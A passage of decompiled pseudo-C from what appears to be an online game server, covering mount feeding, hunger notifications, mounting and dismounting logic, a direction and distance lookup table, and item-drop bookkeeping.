(__thiscall **)(int, int))(*(_DWORD *)v6 + 8))(v6, ridecell + 10); v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v6 + 8))(v6, ridecell + 10) + 20; v10 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v6 + 8))(v6, ridecell + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10 + 20) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : Packet Too Long", v9); } ++*(_WORD *)(slota + 4); v15 = -1; v12 = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; } else { v15 = -1; v12 = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } //----- (00440DA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendHorseHungry(void *this, int hungry) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHorseHungry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendHorseHungry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8262; *((_WORD *)v3 + 1) = hungry; *((_BYTE *)v2 + 92148) = hungry == 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_SendHorseHungry : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHorseHungry"); } //----- (00440E90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket(void *this, __int16 errorcode, char invenType) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12310; *((_WORD *)v4 + 1) = errorcode; *((_WORD *)v4 + 2) = *((_WORD *)v3 + 46111); ProtocolPacket::pp_SetPacketLen(&gpp, 6); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); *((_WORD *)v3 + 46111) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket"); } //----- (00440F70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseItemSave(void *this) { void *v1; // esi@1 int v2; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseItemSave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseItemSave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8892))((char *)v1 + 35568, *((_WORD *)v1 + 46063)); ShineObjectClass::ShinePlayer::sp_ItemAttrSave(v1, v2, 9, *((_WORD *)v1 + 46063)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseItemSave"); } //----- (00441030) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HorseFeed(void *this) { void *v1; // esi@1 __int16 v2; // ax@2 int v3; // eax@7 int v4; // ecx@7 int v5; // edi@7 int v6; // ebx@7 int v7; // eax@9 char *v8; // [sp-4h] [bp-24h]@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1136))(v1) != 6 ) goto LABEL_4; v2 = *((_WORD *)v1 + 46063); if ( v2 < 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed : No ride", v2 >= 0); LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"); return; } if ( *((_DWORD *)v1 + 23032) ) { v3 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8892))( (char *)v1 + 35568, v2); v4 = *((_DWORD *)v1 + 23032); v5 = v3; v6 = *(_DWORD *)(v3 + 112); if ( *(_WORD *)(v3 + 8) == *(_WORD *)v4 ) { (*(void (__thiscall **)(int, int, _DWORD, _DWORD))(*(_DWORD *)v6 + 56))( v6, v3, *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 23032) + 4) + 196), *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 23032) + 4) + 198)); ShineObjectClass::ShinePlayer::sp_HorseItemSave(v1); v7 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v6 + 60))(v6, v5); ShineObjectClass::ShinePlayer::sp_SendHorseHungry(v1, v7); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No Ride", *(_WORD *)(v3 + 8) == *(_WORD *)v4); } v8 = "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"; } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed : No info", 0); v8 = "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v8); } //----- (004411B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOn(void *this, unsigned __int8 skillcooltime) { int v2; // ebp@1 char v3; // al@1 int v4; // ebx@1 const void *v5; // esi@1 int v6; // esi@2 char v7; // al@4 void *v8; // ebp@4 int v9; // ebx@8 int v10; // edi@8 int v11; // edx@9 char *v12; // esi@9 int v13; // ST28_4@9 int v14; // eax@9 int v15; // eax@11 int v16; // esi@12 int v17; // eax@13 char *v18; // eax@14 int v19; // ecx@15 char *v20; // eax@16 char *v21; // ST34_4@18 DebugLogging *v22; // eax@18 DebugLogging *v23; // eax@18 DebugLogging *v24; // eax@18 DebugLogging *v25; // eax@18 DebugLogging *v26; // eax@18 char *v27; // eax@19 int v28; // eax@20 int v29; // edx@20 int v30; // eax@20 int v31; // ST3C_4@20 int v32; // eax@20 int v33; // esi@22 FunctionEntarance _; // [sp+50h] [bp-20h]@1 int v35; // [sp+54h] [bp-1Ch]@9 AxialListPacketBroadcast alchat; // [sp+58h] [bp-18h]@9 int v37; // [sp+6Ch] [bp-4h]@1 v2 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_HorseOn"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseOn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseOn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_BYTE *)(v2 + 89087); v4 = v2 + 89040; v5 = (const void *)(*(_DWORD *)(v2 + 32047) + 29); v37 = 0; if ( !v3 ) { memcpy((void *)v4, v5, 0x2Cu); v6 = (int)((char *)v5 + 44); *(_WORD *)(v2 + 89084) = *(_WORD *)v6; *(_BYTE *)(v2 + 89086) = *(_BYTE *)(v6 + 2); *(_BYTE *)(v2 + 89087) = 1; } if ( !ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo((void *)v2, *(_DWORD *)(v2 + 32047) + 29) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 65, 4291); v7 = *(_BYTE *)(v2 + 89087); v8 = (void *)(*(_DWORD *)(v2 + 32047) + 29); if ( v7 ) { memcpy(v8, (const void *)v4, 0x2Fu); *(_BYTE *)(v4 + 47) = 0; } goto LABEL_27; } if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v2 + 988))(v2, 75) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 65, 4291); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2164))(v2); LABEL_27: --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseOn"); return; } **(_BYTE **)(v2 + 3716) = 6; v9 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v2 + 35568))(v2 + 35568, *(_WORD *)(v2 + 92126)); v10 = *(_DWORD *)(v9 + 112); if ( !v10 ) goto LABEL_27; v11 = *(_DWORD *)v10; v35 = v9 + 8; (*(void (__thiscall **)(int, int, signed int))(v11 + 96))(v10, v9 + 8, 1); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8256; *((_WORD *)v12 + 1) = *(_WORD *)(v2 + 4); *((_WORD *)v12 + 2) = *(_WORD *)(*(_DWORD *)(v2 + 32047) + 76); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v13 = *(_DWORD *)(v2 + 78); LOBYTE(v37) = 1; v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v14, v13, 0, 0, (int)&alchat, 0, 65535); *(_WORD *)v12 = 8255; *((_WORD *)v12 + 1) = *(_WORD *)(*(_DWORD *)(v2 + 32047) + 76); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseOn : Packet Too Long", 4); } v16 = *(_DWORD *)(v2 + 92128); if ( v16 && (v17 = *(_DWORD *)(v16 + 4)) != 0 ) { *(_WORD *)(v2 + 92138) = *(_WORD *)(v17 + 208); *(_WORD *)(v2 + 92140) = *(_WORD *)(*(_DWORD *)(v16 + 4) + 206); *(_DWORD *)(v2 + 92144) = clockwatch.cw_CurrTick + ((signed int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(v16 + 4) + 202) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(v16 + 4) + 202) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v18 = AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)&ui_ride); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v2 + 2676))( v2, **(_WORD **)v18, *(_DWORD *)(*(_DWORD *)(v16 + 4) + 212), 0, 0, 0); if ( skillcooltime ) { v19 = **(_WORD **)AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)&ui_ride); (*(void (__thiscall **)(int, int, unsigned int))(*(_DWORD *)v2 + 884))( v2, v19, (unsigned int)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v2 + 92128) + 4) + 212) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); } } else { *(_WORD *)(v2 + 92138) = 10; *(_WORD *)(v2 + 92140) = 10; *(_DWORD *)(v2 + 92144) = clockwatch.cw_CurrTick; v20 = "NULL"; if ( v16 ) v20 = "Not Null"; v21 = v20; v22 = DebugLogging::operator<<(&MoverErrorLog, "CoolTimeSet["); v23 = DebugLogging::operator<<(v22, skillcooltime); v24 = DebugLogging::operator<<(v23, "] sp_RideCast.info["); v25 = DebugLogging::operator<<(v24, v21); v26 = DebugLogging::operator<<(v25, (char *)&stru_59CBB8); DebugLogging::operator<<(v26, &deb_LF); if ( skillcooltime ) { v27 = AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)&ui_ride); (*(void (__thiscall **)(int, _DWORD, signed int, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v2 + 2676))( v2, **(_WORD **)v27, 10000, 0, 0, 0); } } ShineObjectClass::ShinePlayer::sp_HorseFree(v2); v28 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v10 + 60))(v10, v9); ShineObjectClass::ShinePlayer::sp_SendHorseHungry((void *)v2, v28); v29 = *(_DWORD *)(v2 + 57768); v30 = *(_WORD *)(v2 + 57772); v31 = *(_WORD *)(v2 + 92126); *(_WORD *)(v2 + 92142) = v30; (*(void (__thiscall **)(int, int, signed int, int))(v29 + 36))(v2 + 57768, v30, 9, v31); ++*(_WORD *)(v2 + 57772); v32 = *(_DWORD *)(v2 + 92128); if ( !v32 || !*(_DWORD *)(v32 + 4) ) { LOBYTE(v37) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_27; } v33 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v10 + 48))(v10, v35); if ( !AssertClass::operator__(&shineassert, v33 != 0, "ShineObjectClass::ShinePlayer::sp_HorseOn : Null deltime", 0) && !*(_BYTE *)v33 ) { (*(void (__thiscall **)(int, int, _DWORD, struct tm *, unsigned int))(*(_DWORD *)v10 + 52))( v10, v35, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v2 + 92128) + 4) + 130), &stru_7BC0CC, ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); ShineObjectClass::ShinePlayer::sp_HorseItemSave((void *)v2); } LOBYTE(v37) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v37 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00441660) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOff(void *this) { void *v1; // ebp@1 signed int v2; // esi@1 int v3; // eax@1 bool v4; // zf@1 int v5; // eax@2 int v6; // ecx@4 void *v7; // edi@7 int v8; // edi@8 char *v9; // eax@9 int v10; // ST04_4@9 int v11; // eax@9 char *v12; // [sp+Ch] [bp-2Ch]@3 AxialListPacketBroadcast alchat; // [sp+20h] [bp-18h]@9 int v14; // [sp+34h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseOff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseOff"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v1 + 929); v4 = *(_BYTE *)v3 == 6; v14 = 0; if ( !v4 ) goto LABEL_6; *(_BYTE *)v3 = 1; v5 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8892))( (char *)v1 + 35568, *((_WORD *)v1 + 46063)); if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseOn : Null rideslot", 0); v12 = "ShineObjectClass::ShinePlayer::sp_HorseOff"; goto LABEL_10; } v6 = *(_DWORD *)(v5 + 112); if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseOn : Null ItemAttribute", 0); LABEL_6: v12 = "ShineObjectClass::ShinePlayer::sp_HorseOff"; goto LABEL_10; } (*(void (__stdcall **)(int, _DWORD))(*(_DWORD *)v6 + 96))(v5 + 8, 0); v7 = (void *)(*(_DWORD *)((char *)v1 + 32047) + 29); if ( *((_BYTE *)v1 + 89087) ) { memcpy(v7, (char *)v1 + 89040, 0x2Cu); v8 = (int)((char *)v7 + 44); *(_WORD *)v8 = *((_WORD *)v1 + 44542); *(_BYTE *)(v8 + 2) = *((_BYTE *)v1 + 89086); *((_BYTE *)v1 + 89087) = 0; v2 = -1; } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8259; *((_WORD *)v9 + 1) = *((_WORD *)v1 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v10 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v14) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v11, v10, 0, 0, (int)&alchat, 0, 65535); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 8, 66); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 2240))(v1, 1792, 9); (*(void (__thiscall **)(char *, _DWORD))(*((_DWORD *)v1 + 14442) + 32))((char *)v1 + 57768, *((_WORD *)v1 + 46071)); ShineObjectClass::ShinePlayer::sp_HorseItemSave(v1); LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v12 = "ShineObjectClass::ShinePlayer::sp_HorseOff"; LABEL_10: --funcallanalizer.fca_stackpoint; v14 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } //----- (00441820) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ(int a1, int a2, int netcmd, int foodcell, __int16 handle) { int v5; // esi@1 __int16 v6; // ax@5 int v7; // eax@10 int v8; // ecx@10 int v9; // ebp@10 int v10; // ebx@10 unsigned int v11; // eax@12 int v12; // edi@14 int v13; // eax@16 int v14; // eax@18 FunctionEntarance _; // [sp+1Ch] [bp-10h]@1 int v16; // [sp+28h] [bp-4h]@1 int foodcella; // [sp+34h] [bp+8h]@12 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; if ( !(_S10_4 & 1) ) { _S10_4 |= 1u; cmc_29.cmc_AllowMode = 64; atexit(_E11_6); } if ( !((1 << **(_BYTE **)(v5 + 3716)) & cmc_29.cmc_AllowMode) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69, 4293); LABEL_7: --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); return; } v6 = *(_WORD *)(v5 + 92126); if ( v6 < 0 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No ride", v6 >= 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69, 4293); goto LABEL_7; } if ( *(_DWORD *)(v5 + 92128) ) { v7 = (**(int (__thiscall ***)(_DWORD, _DWORD, _DWORD))(v5 + 35568))(v5 + 35568, v6, a2); v8 = *(_DWORD *)(v5 + 92128); v9 = v7; v10 = *(_DWORD *)(v7 + 112); if ( *(_WORD *)(v7 + 8) == *(_WORD *)v8 ) { foodcella = (**(int (__thiscall ***)(_DWORD, _DWORD))(v5 + 35568))(v5 + 35568, *(_BYTE *)(foodcell + 2)); v11 = BTree::operator__(&stru_12510618, (const char *)(*(_DWORD *)(*(_DWORD *)(v5 + 92128) + 4) + 132)); if ( v11 == -1 ) LOWORD(v11) = -1; v12 = (unsigned __int16)v11; if ( *(_WORD *)(foodcella + 8) == (unsigned __int16)v11 ) { v13 = (*(int (__stdcall **)(int))(**(_DWORD **)(foodcella + 112) + 24))(foodcella + 8); if ( AssertClass::operator__( &shineassert, v13 > 0, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : invalid lot", v13) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69); } else { (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v10 + 56))( v10, v9, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v5 + 92128) + 4) + 196)); ShineObjectClass::ShinePlayer::sp_DestroyItem(v5, *(_WORD *)(v5 + 4), v12, 1, 0); ShineObjectClass::ShinePlayer::sp_HorseItemSave((void *)v5); v14 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v10 + 60))(v10, v9); ShineObjectClass::ShinePlayer::sp_SendHorseHungry((void *)v5, v14); } } else { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69); } v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No Ride", *(_WORD *)(v7 + 8) == *(_WORD *)v8); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 8, 69); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No info", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69, 4294); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); } } // 441820: could not find valid save-restore pair for ebp // 4D7720: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (00441B30) -------------------------------------------------------- void __thiscall DirectDistanceTable::ddt_Initialize(DirectDistanceTable *this) { unsigned int v1; // edi@1 int v2; // eax@2 int v3; // ebx@2 unsigned int v4; // esi@2 long double v5; // st7@5 double v6; // st7@7 int v7; // ebx@14 double v8; // st7@22 char *v9; // esi@28 int v10; // edi@32 int v11; // ebx@32 unsigned __int64 v12; // qax@32 bool v13; // sf@32 unsigned __int8 v14; // of@32 double degree; // [sp+10h] [bp-5B8h]@9 int k; // [sp+18h] [bp-5B0h]@28 signed int deg; // [sp+1Ch] [bp-5ACh]@2 signed int dega; // [sp+1Ch] [bp-5ACh]@14 signed int x; // [sp+20h] [bp-5A8h]@1 double diffarr; // [sp+28h] [bp-5A0h]@1 char v21; // [sp+30h] [bp-598h]@1 diffarr = 1000.0; memcpy(&v21, &diffarr, 0x598u); v1 = -1024; x = -1024; do { v2 = v1 * v1; v3 = 2049 * v1; v4 = -1024; deg = -1024; while ( 1 ) { this->ddt_Table[0][v3 + v4 + 2099200].distance = (unsigned __int64)sqrt((double)(signed int)(v2 + v4 * v4)); if ( v1 ) { if ( !v4 ) { v6 = 45.0; goto LABEL_11; } v5 = atan2(1.0, (double)x / (double)deg) * 28.64788933333083; } else { v5 = (double)((((signed int)v4 > 0) - 1) & 0x5A); } degree = v5; if ( v5 >= 0.0 ) goto LABEL_12; v6 = v5 + 90.0; LABEL_11: degree = v6; LABEL_12: if ( (v1 & 0x80000000u) != 0 ) degree = degree + 90.0; v7 = (unsigned __int64)(degree + 0.5); for ( dega = v7; v7 >= 180; dega = v7 ) { degree = degree - 180.0; v7 = (unsigned __int64)(degree + 0.5); } if ( v7 < 0 || v7 >= 180 ) { AssertClass::ac_AssertFail(&shineassert, "Invalid ShineRadian1", v7); ShineExit("DirectDistanceTable::ddt_Initialize"); } *((_BYTE *)&this->ddt_Table[0][v4 + 2049 * v1].distance + (_DWORD)((char *)&wholesaver + 8682564)) = v7; if ( v1 || v4 ) { v8 = degree - (double)dega; if ( v8 < 0.0 ) v8 = -v8; if ( v8 < *(&diffarr + v7) ) { *((_QWORD *)&diffarr + v7) = *(_QWORD *)&v8; *(unsigned int *)((char *)&this->ddt_Table[0][v7].distance + (_DWORD)((char *)&wholesaver + 25476168)) = v1; *(unsigned int *)((char *)&this->ddt_Table[0][v7].distance + (_DWORD)((char *)&wholesaver + 25476172)) = v4; } } ++v4; deg = v4; if ( (signed int)v4 > 1024 ) break; v3 = 2049 * v1; v2 = v1 * v1; } ++v1; x = v1; } while ( (signed int)v1 <= 1024 ); k = 0; v9 = (char *)this + (_DWORD)((char *)&wholesaver + 25476172); do { if ( *(&diffarr + k) >= 0.1 ) { AssertClass::ac_AssertFail(&shineassert, "DirectDistanceTable::ddt_Initialize : Too much diff", 0); ShineExit("DirectDistanceTable::ddt_Initialize"); } v10 = *((_DWORD *)v9 - 1); v11 = *(_DWORD *)v9; v12 = (unsigned __int64)sqrt((double)(v11 * v11 + v10 * v10)); v9 += 8; *((_DWORD *)v9 - 3) = (v10 << 10) / (signed int)v12; *((_DWORD *)v9 - 2) = (v11 << 10) / (signed int)v12; v14 = __OFSUB__(k + 1, 180); v13 = k++ - 179 < 0; } while ( v13 ^ v14 ); } //----- (00441DA0) -------------------------------------------------------- int __thiscall DirectDistanceTable::ddt_ShineRadianDiff(DirectDistanceTable *this, int mydir, int targetdir, int *sign) { int v4; // esi@2 int *v5; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DirectDistanceTable::ddt_ShineRadianDiff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DirectDistanceTable::ddt_ShineRadianDiff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( targetdir - mydir <= 0 ) { v4 = -(targetdir - mydir); v5 = sign; *sign = -1; } else { v4 = targetdir - mydir; v5 = sign; *sign = 1; } if ( v4 > 90 ) { v4 = 180 - v4; *v5 = -*v5; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DirectDistanceTable::ddt_ShineRadianDiff"); return v4; } //----- (00441E40) -------------------------------------------------------- void __thiscall DropItemAnalyzer::dia_Set(DropItemAnalyzer *this, unsigned __int16 mob, unsigned __int16 itm) { DropItemAnalyzer *v3; // esi@1 signed int v4; // ecx@1 int v5; // edx@1 int v6; // eax@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropItemAnalyzer::dia_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropItemAnalyzer::dia_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v5 = (int)&v3->dia_DropItem[(unsigned __int8)mob][0].num; while ( 1 ) { if ( *(_WORD *)(v5 - 4) == mob && *(_WORD *)(v5 - 2) == itm ) { ++v3->dia_DropItem[0][v4 + 500 * (unsigned __int8)mob].num; goto LABEL_9; } if ( !*(_WORD *)v5 ) break; ++v4; v5 += 6; if ( v4 >= 500 ) goto LABEL_9; } v6 = (int)((char *)v3 + 6 * (v4 + 500 * (unsigned __int8)mob)); *(_WORD *)v6 = mob; *(_WORD *)(v6 + 2) = itm; *(_WORD *)(v6 + 4) = 1; LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropItemAnalyzer::dia_Set"); } //----- (00441F30) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::SameDistanceCluster(DropLoc::SameDistanceCluster *this) { this->sdc_Array = 0; } //----- (00441F50) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::sdc_shuffle(DropLoc::SameDistanceCluster *this) { DropLoc::SameDistanceCluster *v1; // esi@1 int v2; // ecx@1 DropLoc::LocationDelta *v3; // eax@1 int v4; // edi@1 int v5; // edx@1 DropLoc::LocationDelta *v6; // eax@1 v1 = this; v2 = RandomBox::operator__(&rndbox, this->sdc_Store); 